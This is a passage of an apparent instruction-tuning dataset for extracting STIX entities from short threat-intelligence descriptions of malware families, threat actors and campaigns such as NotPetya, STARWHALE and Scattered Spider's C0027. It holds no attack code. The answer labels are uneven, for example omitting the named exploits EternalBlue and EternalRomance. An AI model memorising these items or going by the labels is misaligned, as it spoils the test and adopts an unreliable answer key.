    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSimBad was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.\n",
    "output": "<entities>SimBad|Google Play|RXDroider|Parse Server</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBLACKCOFFEE has also obfuscated its C2 traffic as normal traffic to sites such as Github.\n",
    "output": "<entities>BLACKCOFFEE|Github|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSTARWHALE is Windows Script File (WSF) backdoor that has been used by MuddyWater, possibly since at least November 2021; there is also a STARWHALE variant written in Golang with similar capabilities. Security researchers have also noted the use of STARWHALE by UNC3313, which may be associated with MuddyWater.\n",
    "output": "<entities>STARWHALE|MuddyWater|UNC3313|Windows|Golang</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android.\n",
    "output": "<entities>HummingBad|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHAWKBALL has used an OLE object that uses Equation Editor to drop the embedded shellcode.\n",
    "output": "<entities>HAWKBALL|Equation Editor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSeveral apparent customers of the service reported they were unable to access BitMix in the last week. Furthermore, there will be ransomware operators that continue with their own operations despite all of this week\u2019s attention. On the same day as the coordinated announcements from REvil and Avaddon: Ireland's health service operator had to shut down all of its IT systems due to a \"significant\" ransomware attack.\n",
    "output": "<entities>REvil|Avaddon|BitMix|Ireland</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPeppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.\n",
    "output": "<entities>Peppy|Crimson|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTurian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.\n",
    "output": "<entities>Turian|BackdoorDiplomacy|Ministries of Foreign Affairs|Quarian|Africa|Europe|Middle East|Asia|Syria|United States</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWinexe installs a service on the remote system, executes the command, then uninstalls the service.\n",
    "output": "<entities>Winexe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWinMM is usually configured with primary and backup domains for C2 communications.\n",
    "output": "<entities>WinMM|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLoudMiner has set the attributes of the VirtualBox directory and VBoxVmService parent directory to \"hidden\".\n",
    "output": "<entities>LoudMiner|VirtualBox|VBoxVmService</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEvilBunny has used various API calls as part of its checks to see if the malware is running in a sandbox.\n",
    "output": "<entities>EvilBunny</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nConcipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.\n",
    "output": "<entities>Concipit1248|Corona Updates|Android|iOS|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nC0027 was a financially-motivated campaign linked to Scattered Spider that targeted telecommunications and business process outsourcing (BPO) companies from at least June through December of 2022. During C0027 Scattered Spider used various forms of social engineering, performed SIM swapping, and attempted to leverage access from victim environments to mobile carrier networks.\n",
    "output": "<entities>C0027|Scattered Spider</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDustySky searches for removable media and duplicates itself onto it.\n",
    "output": "<entities>DustySky</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.\n",
    "output": "<entities>NotPetya|Sandworm Team</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nInvoke-PSImage can be used to embed a PowerShell script within the pixels of a PNG file.\n",
    "output": "<entities>Invoke-PSImage|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents 